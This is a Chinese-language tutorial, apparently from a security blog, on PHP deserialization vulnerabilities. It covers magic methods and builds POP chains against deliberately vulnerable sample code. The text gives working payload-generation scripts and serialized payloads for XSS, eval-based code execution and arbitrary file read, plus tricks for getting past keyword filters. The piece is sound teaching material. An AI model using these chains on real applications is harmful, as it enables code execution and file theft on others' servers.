PHP序列化和反序列化

PHP序列化和反序列化

耀鳞光翼 Lv3

概述

由于PHP文件在执行结束后就会将对象销毁,若碰上下一个页面刚好需要用到上一个页面所需要的对象,就会发生问题。于是发明了序列化来实现长久保存对象的方法,当下次需要的时候,就进行反序列化。

序列化可以方便数据的传输和存储,json就是为了方便数据传输。

下面是一个序列化样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class test{

public $name = 'John';

private $sex = 'male';

protected $age = '20';

}

$test1 = new test();

$object = serialize($test1);

print_r($object);

?>

>>> O:4:"test":3:{s:4:"name";s:4:"John";s:9:"testsex";s:4:"male";s:6:"*age";s:2:"20";}

serialize():将PHP创建的对象进行序列化,变成一串字符串

private属性序列化的时候格式是: %00类名%00成员,并且s长度=类名长度+成员长度+2

protected属性序列化的时候格式是: %00*%00成员名,并且s长度=成员名长度+3

%00是URL编码后的空字符

若在其他编译器中,可以使用\x00,通过转义表示空字符的16进制形式,例如在python解释器中,然后才能进行下一步的编码等操作。

[!WARNING]

PHP7.3.4在IDE中测试,序列化后前缀会无法显示,但s长度仍然计算了前缀长度,若需要正常反序列化,就需要手动修改添加前缀,并且要保证添加后的前缀要被识别为ASCII码的空字符,而不是普通的字符

序列化后的字符串标识符含义:

1
2
3
4
5
6
7
8
9
10
11
12
13
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等

注意:序列化只序列化属性,不序列化方法

  1. 在反序列化时,一定要保证在当前作用域下有该类的存在

    反序列化就是将我们压缩格式化的对象字符串还原成初始状态的过程(类似于解压缩的过程),因为我们没有序列化方法,因此在反序列化以后我们如果想正常使用这个对象的话我们必须要依托于这个类要在当前作用域存在的条件。

  2. 反序列化攻击的时候也就是依托类属性进行攻击

    因为没有序列化方法,能控制的只有类的属性,因此类属性就是唯一的攻击入口,在攻击流程中,就是要寻找合适的能被我们控制的属性,然后利用它本身的存在的方法,在基于属性被控制的情况下发动我们的反序列化攻击(这是攻击的核心思想)

反序列化样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

class test {

public $name = 'John';
private $sex = 'male';
protected $age = '20';

}

$test1 = new test();
$object = serialize($test1);
echo $object;

// 序列化后的字符串
$a = 'O:4:"test":3:{s:4:"name";s:4:"John";s:7:"testsex";s:4:"male";s:3:"age";s:2:"20";}';
$b = unserialize($a);
var_dump($b);
?>

>>> O:4:"test":3:{s:4:"name";s:4:"John";s:9:"testsex";s:4:"male";s:6:"*age";s:2:"20";}

class test#2 (4) {
public $name =>
string(4) "John"
private $sex =>
string(4) "male"
protected $age =>
string(2) "20"
public $testsex =>
string(4) "male"
}

unserialize()函数:将序列化后的字符串转回PHP值

反序列化:恢复原先被序列化的变量

当有private和protected属性的时候,记得补齐字符串或修改s的长度。

__wakeup()魔术方法:这是unserialize()函数会去检测的一个方法,若这个方法存在,则会先调用__wakeup()方法,预先准备对象需要的资源。

private、public、protected三种属性序列化的区别:

1
2
3
4
5
6
7
8
9
<?php
class test{
private $test1="hello";
public $test2="hello";
protected $test3="hello";
}
$test = new test();
echo serialize($test); // O:4:"test":3:{s:11:"testtest1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"*test3";s:5:"hello";}
?>

test类有三种属性,属性值相同,但序列化后的结果却不一致。

通过对网页抓取输出是这样的 O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}

可以看到,private的参数被反序列化后变成\00test\00test1 public的参数变成 test2 protected的参数变成\00*\00test3,其对应的长度也符合。

产生反序列化漏洞原因

概念阐述

PHP反序列化漏洞其实就是针对对象在处理数据不当导致的

由于unserialized()函数的接受参数可控,传入的是序列化后的对象的属性,若在属性上进行篡改,便可实现攻击

存在反序列化漏洞的前提条件

  1. 必须有unserialize()函数存在
  2. unserialize()函数接收的参数必须可控(为了达到传入的参数实现的功能,可能需要绕过某些魔法函数)

PHP的魔法方法

PHP把所有以__(两个下划线)开头的方法当作魔法方法。所以在定义方法的时候,除了确实要使用魔法方法,其他方法不要使用__作为前缀

常见的一些魔法方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__construct(),类的构造函数

__destruct(),类的析构函数

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),获得一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()或empty()时调用

__unset(),当对不可访问属性调用unset()时被调用。

__sleep(),执行serialize()时,先会调用这个函数

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式为调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

  1. __construct():当对象创建的时候会自动调用(但在unserialize()时不会自动调用
  2. __wakeup()unserialize()执行的时候,会自动调用。
  3. __destruct():当对象销毁的时候会自动调用。
  4. __toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
  5. __get():当从不可访问的属性读取数据的时候调用
  6. __call:在对象上下文中调用不可访问的方法的时候触发

第4点单独阐述说明:

__toString()触发的条件较多,常见的触发条件有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(1)echo ($obj) / print($obj) 打印时会触发

(2)反序列化对象与字符串连接时

(3)反序列化对象参与格式化字符串时

(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5)反序列化对象参与格式化SQL语句,绑定参数时

(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8)反序列化的对象作为 class_exists() 的参数的时候

反序列化函数unserialize()仅仅只是一个利用的入口,只要存在,并且参数可控,就可以尝试利用反序列化攻击。不只是局限于出现unserialize()所在类的对象。

不过当我们反序列化对象后,能控制的只有类的属性,如果没有在完成反序列化后的代码中调用其他类对象的方法,还是无法成功利用的。方法是代码中定义的,我们无法去更改。

但我们的思路就是利用上述提到的魔法方法,这些魔法方法会在类进行序列化或者反序列化自动调用,若魔法方法里出现了一些可以利用的函数,这样我们就可以通过操作类的属性来间接操控函数,实现利用。

下面是一个样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 

class test{

public $target = 'this is a test';

function __destruct(){

echo $this->target;

}

}

$a = $_GET['b'];

$c = unserialize($a);

?>

上述样例出现了unserialize()函数,并且$a的值从b中获取,而b的值通过网页get传递得到,也就是说,同时满足了利用条件。而在$c调用反序列化函数后,会自动执行魔术方法__destruct(),这个方法里含有echo函数,向网页返回target的值,因此,我们就可以修改target的值,对该类进行序列化后传入参数b,利用到echo函数,比如向其中传入xss语句:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class test{

public $target = '<script>alert(1)</script>';


}

$a = new test();

$b = serialize($a);
print_r($b) //O:4:"test":1:{s:6:"target";s:25:"<script>alert(1)</script>";}
?>

将序列化后的内容传入参数b,得到如下结果,可以看到,XSS语句成功执行

image-20250123220842967
image-20250123220842967

魔术方法调用的先后顺序

如下案例可以直观显示不同魔术方法的调用顺序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
class test{

public $name = 'P2hm1n';

function __construct(){

echo "__construct()";

echo "<br><br>";

}

function __destruct(){

echo "__destruct()";

echo "<br><br>";

}

function __wakeup(){

echo "__wakeup()";

echo "<br><br>";

}

function __toString(){

return "__toString()"."<br><br>";

}

function __sleep(){

echo "__sleep()";

echo "<br><br>";

return array("name");

}

}

$test1 = new test();

$test2 = serialize($test1);

$test3 = unserialize($test2);

print($test3);


?>

构造一个类,其中添加不同魔术方法,每个魔术方法被触发时,打印自身的名字,这样就可以直接看出运行顺序。

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
__construct()

__sleep()

__wakeup()

__toString()

__destruct()

__destruct()

__destruct 了两次说明当前实际上有两个对象,一个就是实例化的时候创建的对象,另一个就是反序列化后生成的对象。

下面是第二个魔术方法调用顺序样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
class test{
private $flag = '';

# 用于保存重载的数据
private $data = array();

public $filename = '';

public $content = '';

function __construct($filename, $content) {
$this->filename = $filename;
$this->content = $content;
echo 'construct function in test class';
echo "<br>";
}

function __destruct() {
echo 'destruct function in test class';
echo "<br>";
}

function __set($key, $value) {
echo 'set function in test class';
echo "<br>";
$this->data[$key] = $value;
}

function __get($key) {
echo 'get function in test class';
echo "<br>";
if (array_key_exists($key, $this->data)) {
return $this->data[$key];
} else {
return null;
}
}

function __isset($key) {
echo 'isset function in test class';
echo "<br>";
return isset($this->data[$key]);
}

function __unset($key) {
echo 'unset function in test class';
echo "<br>";
unset($this->data[$key]);
}

public function set_flag($flag) {
$this->flag = $flag;
}

public function get_flag() {
return $this->flag;
}

}


$a = new test('test.txt', 'data');

# __set() 被调用
$a->var = 1;

# __get() 被调用
echo $a->var;

# __isset() 被调用
echo (isset($a->var));

# __unset() 被调用
unset($a->var);

echo (isset($a->var));

echo "\n";

运行的结果为:

1
2
3
4
5
6
7
construct function in test class
set function in test class
get function in test class
1 isset function in test class
1 unset function in test class
isset function in test class
destruct function in test class

因此,上述这些魔术方法的调用顺序是:构造方法 => set方法(我们此时为类中并没有定义过的一个类属性进行赋值触发了set方法) => get方法 => isset方法 => unset方法 => isset方法 => 析构方法(也就是__destruct方法)

这里也可以看到,析构方法(__destruct)是在所有代码执行结束后,才执行的。

使用魔法方法攻击利用

样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class K0rz3n {
private $test;
public $K0rz3n = "i am K0rz3n";
function __construct() {
$this->test = new L();
}

function __destruct() {
$this->test->action();
}
}

class L {
function action() {
echo "Welcome to XDSEC";
}
}

class Evil {

var $test2;
function action() {
eval($this->test2);
}
}

unserialize($_GET['test']);
?>

从代码中可以看到,首先unserialize()函数在当前作用域内存在,并且传递给它的参数我们可控,满足利用条件。接下来看代码中的三个类K0rz3nLEvil。后两个不存在unserialize()或者相关的魔术方法,不可利用。但第一个类K0rz3n里存在__destruct()魔术方法,它在对象销毁的时候能够自动调用。

具体来看这个方法,方法里只用了test这个属性,并且在它的上面,由__construct()魔术方法自动创建了$this->test的类(代码里是创建了L类),也就是说,在__destruct()里,实则是调用了L类的action()方法,输出Welcome to XDSEC

不过注意观察,在Evil类里,同样也存在一个action()方法,这个方法下使用了**eval()高危函数**来执行test2传入的内容。所以,如果我们把__construct()创建的类修改为Evil类,那当对象销毁后,就会自动去执行Evil类下的action()方法。同时,我们再把test2的内容,改为我们的payload(想要执行的一些语句),那代码自然就会去用eval()执行我们的payload,这样就可以完成反序列化的利用了。

下面是生成利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class K0rz3n {
private $test;
function __construct() {
$this->test = new Evil();
}


}

class Evil {

var $test2 = "phpinfo();";

}

$K0rz3n = new K0rz3n();
$payload = serialize($K0rz3n);
print_r($payload) //O:6:"K0rz3n":1:{s:12:"K0rz3ntest";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}


?>

去除一切与我们要篡改的属性无关的内容(因为序列化只能操作属性,类的方法无法操作,所以把多余的方法全部去除),对其进行序列化操作,然后将序列化的结果复制出来,向代码发起请求:

Payload:127.0.0.1/?test=O:6:"K0rz3n":1:{s:12:"%00K0rz3n%00test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}

(原始代码被放在了网站的index.php内,所以可以直接?+参数,否则还要指定发起请求的文件)

[!IMPORTANT]

注意在生成payload后,由于test是私有属性,一定要对private属性的变量添加%00前缀后,才能放到链接里传参

形式为:%00类名%00成员名

利用结果:

image-20250124003259332
image-20250124003259332

总结一下利用流程:

  1. 寻找是否存在unserialize() 函数,它的参数我们是否可控
  2. 寻找反序列化利用的目标,重点寻找存在__wakeup()__destruct()魔法函数的类
  3. 逐层分析该类在魔法函数中使用的属性和属性调用的方法,观察是否有可控的属性可以在调用过程中触发的
  4. 若找到可控的属性,并且能被调用触发,那就将要用到的代码复制,构造序列化字符串,完善前缀(若有private或protected属性),进行利用。

POP链

POP链简介

  1. POP面向属性编程(Property-Oriented Programing)

    ROP面向返回编程(Return-Oriented Programing),ROP链构造是寻找当前操作系统中或者内存环境里已经存在的、具有固定地址、带有返回操作的指令集,将原本正常的片段拼接,形成一个连续的调用链,最终达到执行libc中函数或者systemcall的目的

    POP面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,组成调用链来实现我们的目的。

    简而言之,ROP 是通过栈溢出实现控制指令的执行流程,而反序列化是通过控制对象的属性来实现控制程序的执行流程,利用原本正常的代码来实现我们的利用。

  2. POP链

    把自动调用的魔术方法当作开始的起点,然后在魔术方法里调用其他函数,寻找同名的函数,与类中其他高危的函数或者属性进行关联,这就是构造的POP链。此时类中的所有高危函数都是可控制的。当unserialize()传入的参数可控,就可以利用反序列化来控制POP链,实现利用。

POP链利用技巧

  1. 一些有用的POP链中出现的方法:

    1
    2
    3
    - 命令执行:exec()、passthru()、popen()、system()
    - 文件操作:file_put_contents()、file_get_contents()、unlink()
    - 代码执行:eval()、assert()、call_user_func()
  2. 反序列化为了避免信息丢失,可以使用大写的S来支持字符串的编码

    PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:

    1
    s:4:"user"; -> S:4:"use\72";
  3. 深浅拷贝

    在php中如果我们使用 &对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。

    1
    $A = &$B; 
  4. 利用PHP伪协议

    配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。

POP链构造样例1

下面是一个样例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class main {
protected $ClassObj;

function __construct() {
$this->ClassObj = new normal();
}

function __destruct() {
$this->ClassObj->action();
}
}

class normal {
function action() {
echo "hello bmjoker";
}
}

class evil {
private $data;
function action() {
eval($this->data);
}
}
//$a = new main();
unserialize($_GET['a']);
?>

和上面提到过的样例一样利用,这里就不再重复分析,只做简要描述。

魔术方法__construct()去调用evil这个类,并且给变量$data赋予恶意代码,比如php探针phpinfo(),这样就相当于执行<?php eval("phpinfo();")?>。尝试构造payload:

payload生成代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class main {
protected $ClassObj;

function __construct() {
$this->ClassObj = new evil();
}

}



class evil {
private $data = "phpinfo();";
function action() {
eval($this->data);
}
}

$a = new main();
$b = serialize($a);
echo $b; //O:4:"main":1:{s:11:"*ClassObj";O:4:"evil":1:{s:10:"evildata";s:10:"phpinfo();";}}

注意把private和protected属性变量的特殊格式%00补齐

payload:O:4:"main":1:{s:11:"%00*%00ClassObj";O:4:"evil":1:{s:10:"%00evil%00data";s:10:"phpinfo();";}}

通过$a传入后即可执行phpinfo()语句

POP链构造样例2

样例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class MyFile {
public $name;
public $user;
public function __construct($name, $user) {
$this->name = $name;
$this->user = $user;
}
public function __toString(){
return file_get_contents($this->name);
}
public function __wakeup(){
if(stristr($this->name, "flag")!==False)
$this->name = "/etc/hostname";
else
$this->name = "/etc/passwd";
if(isset($_GET['user'])) {
$this->user = $_GET['user'];
}
}
public function __destruct() {
echo $this;
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
if(stristr($input, 'user')!==False){
die('Hacker');
} else {
unserialize($input);
}
}else {
highlight_file(__FILE__);
}

观察上面代码可知,有unserialize()函数,输入变量$input我们可控,可以考虑使用PHP反序列化构造payload。

__toString()方法中看到了高危函数file_get_contents()来读取变量$name的数据,而__toString()函数可以在多种条件下触发(这点前文总结过)。当函数执行完成后,会自动执行__destruct(),该魔术方法下是echo函数,而__toString()触发条件之一就是在echo (obj) 打印时会触发,也就是说,该对象使用完成后,会在执行__destruct()魔术方法前自动调用__toString

所以当前目标就是控制$name变量即可,向该变量传入文件路径名,就可以达到任意读取文件的效果。观察下面的调用对象相关代码,发现前端允许传入变量的$user,并且还对其进行了stristr()过滤,该函数会把传入的第二个参数当作目标,在第一个参数中进行搜索是否存在(大小写不敏感),代码中就是不允许传入字符串中出现user字样。

针对过滤,可以使用上述提到的,在序列化后用大写S表示字符串,将user最后一位r进行十六进制编码即可绕过。或者针对这题,因为我们要传递的参数是$name,所以更加简单的是直接在生成的序列化字符串中删除user字样。

于是编写下面的payload生成代码:

1
2
3
4
5
6
7
8
9
10
11
<?php
class MyFile {
public $name = 'D://1.txt';
public $user = '';

}

$a = new MyFile();
$b = serialize($a);
var_dump($b); //输出"O:6:"MyFile":2:{s:4:"name";s:9:"D://1.txt";s:4:"user";s:0:"";}"
?>

删除user字样绕过过滤,最终的payload为:?input=O:6:"MyFile":2:{s:4:"name";s:9:"D://1.txt";}

image-20250127135536378
image-20250127135536378

也是成功读取到了文件

POP链构造样例3

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:this is your flag";
}
}
$a = $_GET['string'];
unserialize($a);
?>

从源代码里可以看到,最终目标就是调用GetFlag类里的get_flag()方法,要想要让这个方法执行,继续往上看。

  1. string1类里存在__toString()魔术方法,该方法会在echo或者其他对字符串操作(例如字符串拼接)时被自动触发,题目中是调用了str1的方法get_flag(),也就是说$this->str1应该是GetFlag类才行

    1
    $this->str1 = new GetFlag()
  2. 在函数func中的__invoke()魔术方法中,可以发现有字符串拼接操作"字符串拼接".$this->mod1,为了触发__toString()魔术方法,操作的对象应该是string1类,因此

    1
    $this->mod1 = new string1()   //这样的话在字符串拼接的时候就会触发魔术方法__toString()
  3. 接下来就是寻找函数func的调用,在函数funct中可以看到对$this->mod1的使用,这时将$this->mod1赋值为func对象即可。但由于它在__call()魔术方法内部,只有当test2方法无法调用时才会触发__call()魔术方法。

    1
    $this->mod1 = new func()   将func类作为函数调用就会触发魔术方法__invoke()
  4. 接下来就是寻找哪里调用test2方法(实际上不存在该方法,但要找相关调用语句,这样才能触发funct函数中的__call()魔术方法。可以看到,在Call类中存在test1()方法,$this->mod1->test2();这里尝试调用test2(),这时我们只需要把$this->mod1赋值为funct类即可。

    1
    $this->mod1 = new funct()    //因为$test2()方法不存在,当$this->mod1调用的时候会触发魔术方法__call()
  5. 接下来再去寻找哪里调用了test1方法,来触发后续的一系列链式操作。可以看到在start_gg类中存在__destruct()魔术方法,方法里写了$this->mod1->test1();,对test1()方法进行了调用。同样,我们在这里需要把$this->mod1赋值为Call

    1
    $this->mod1 = new Call()

    由于__destruct()方法在对象使用完后会自动调用,这里就是整个程序的起点。

    下面就是生成整个payload的代码,使用__construct()魔术方法来在对象创建的时候指定我们想要创建的对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new Call(); //把$mod1赋值为Call类对象
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new funct(); //把$mod1赋值为funct类对象
}
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new func(); //把$mod1赋值为func类对象
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new string1(); //把$mod1赋值为string1类对象
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __construct()
{
$this->str1 = new GetFlag(); //把$str1赋值为GetFlag类对象
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:this is your flag";
}
}

$b = new start_gg();
echo urlencode(serialize($b))
//输出O%3A8%3A%22start_gg%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A4%3A%22Call%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A5%3A%22funct%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A4%3A%22func%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22string1%22%3A2%3A%7Bs%3A4%3A%22str1%22%3BO%3A7%3A%22GetFlag%22%3A0%3A%7B%7Ds%3A4%3A%22str2%22%3BN%3B%7Ds%3A4%3A%22mod2%22%3BN%3B%7Ds%3A4%3A%22mod2%22%3BN%3B%7Ds%3A4%3A%22mod2%22%3BN%3B%7Ds%3A4%3A%22mod2%22%3BN%3B%7D

这里最后要使用urlencode()函数对其编码,方便把不可见内容编码为url传输

插入payload后成功得到flag

image-20250127151932390
image-20250127151932390

总结一下这个POP链执行顺序:

1
2
3
4
5
6
7
8
9
10
11
12
graph TB
start_gg对象 --> A["赋值为Call对象"]
A --> B["使用完销毁执行__destruct(),尝试调用test1()"]
B --> C["修改Call对象为funct对象"]
C --> D["test1尝试执行test2()"]
D --> E["修改funct为func对象"]
E --> F["无test2对象,自动触发__call()魔术方法,尝试自动执行func对象内的__invoke()方法"]
F --> G["修改func对象为string1对象"]
G --> H["在执行__invoke()方法内的字符串拼接时,自动触发string1对象内的__toString()魔术方法"]
H --> I["修改string1对象为GetFlag对象"]
I --> J["在GetFlag对象中,__toString()魔术方法内尝试执行get_flag()"]
J --> K["触发GetFlag对象内的get_flag(),echo回显flag"]

POP链构造样例4

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
?>

首先观察代码,发现有高危函数include($value);,可以考虑任意文件包含。但需要成功利用,要构造一个POP链。

在Modifier类中,函数append($value)里调用了include($value),而__invoke()方法中调用了append($value)。根据__invoke()魔术方法解释中提到调用函数的方式为调用一个对象时的回应方法,也就是说在调用一个函数过程中,若这个原本应该被调用的函数名指向了一个类名,就会触发__invoke()函数。

接着往下看代码,在Test类中找到$this->p被命名为$function,接下来便直接调用$function(),如果此时将$this->p指定为Modifier类,便可实现调用。

1
$this->p = new Modifier()

接下来就是考虑如何触发Test类中的__Get()方法了,根据魔术方法中提到__Get()获得一个类的成员变量时调用,于是向上阅读代码,可以找到在类Show中,方法__toString()中存在$this->str->source;获取了strsource属性值。若此时$this->str指向Test类,这个类中没有source属性,便会触发__Get()函数去尝试获取属性。

1
$this->str = new Test()

接下来就可以考虑如何触发Show类中的__toString()方法了,根据魔术方法描述中提到的__toString()触发条件echo (obj) 打印时会触发,以及反序列化对象与字符串连接时,可以在Show类中找到方法__construct($file='index.php'),方法内有echo回显,并且在回显内容中拼接了$this->source。当这个指向一个对象的时候,便会自动调用__toString()

1
$this->source = new Show()

最终的调用方式如下所示:

1
2
3
4
graph TB
A["Show类中的__toString()"]-->B["Test类中的__get()"]
B-->C["Modifier类中的__invoke() "]
C-->D["include函数"]

payload生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class Modifier {
protected $var = "D://flag.txt";

}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}


}

class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}

}

$a = new Show();
$a->source = $a;
$a->str = new Test();
echo serialize($a);
echo "<br/>";
echo urlencode(serialize($a));


//输出:
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:12:"D://flag.txt";}}}<br/>O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A12%3A%22D%3A%2F%2Fflag.txt%22%3B%7D%7D%7D

将编码后的内容传入pop参数后,成功读取到flag文件:

image-20250308002810815
image-20250308002810815

PHP Session反序列化

PHP Session

  1. 什么是session,及其作用机制

session是会话的意思,Session一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。

会话:会话就是类似于我们与人打招呼,你对他说你好,他回复你,对话结束后,那么这样一次会话就完成了,说白了会话就是客户端浏览器和服务器的一次数据交互(交流)。

会话出现的原因:我们知道客户端浏览器访问网站使用的是http(https)协议,http协议是一种无状态的协议,意思就是说不会储存任何东西,每一次的请求都是没有关联的,这样做的好处就是速度快,但是现在就出来了一个问题,比如我们向login.php发送了一个登录请求,并完成了登录,但是由于http的无状态,这个登录只是在login.php上面进行了,但是并没有在index.php上面登录,那我们的登录是没有意义的,所以就产生了cookie,cookie是一个缓存用于一定时间的身份验证,在同一域名下面是全局的,所以说在同一域名下的页面都可以访问到cookie,这样http协议的无状态产生的问题就解决了,但是由于cookie保存在客户端浏览器,这样的话我们就可以去修改cookie,这样的话就很不安全,在这种情况下产生了session,session的本质和cookie一样,但是session保存在服务端

session的工作机制:当我们开启一个会话时,php会尝试在请求中查找sessio_id,如果在请求中的cookie,GET,POST里面没有找到session_id,这个时候php会调用php_session_create_id函数创造一个新的会话并且在http response中通过set-cookie头部发送给客户端保存。

session_start()函数

先来看一下session_statrt()这个函数,这个函数的作用是开启会话,初始化session数据

1
2
Seesion_start()函数会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的

刚才说过session的作用是开启会话,也就是打开session,也就是说如果我们想要使用session功能,可以使用session_start来开启,这个函数既不会成功也不会报错,它的作用是打开Session,并且随机生成一个32位的session_id,session的全部机制也是基于这个session_id,服务器就是通过这个唯一的session_id来区分出这是哪个用户访问的。

session储存

上面说了session_id的产生,下面我们来看一下session的储存

测试代码:

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
session_start();
echo "session_id(): ".session_id()."<br>";
echo "COOKIE: ".$_COOKIE["PHPSESSID"];


运行结果:

session_test
session_test

可以看到这里随机生成了一个session_id:

1
4h8bcs007jfu51lg1mf3arpn62

而且生成的session_id存入了cookie中

下面我们看一下session的储存,他是保存在服务器的一个临时目录下面,一般都在tmp目录下,可以在php.ini进行设置

1
2
3
4
5
6
7
/var/lib/php5/sess_PHPSESSID
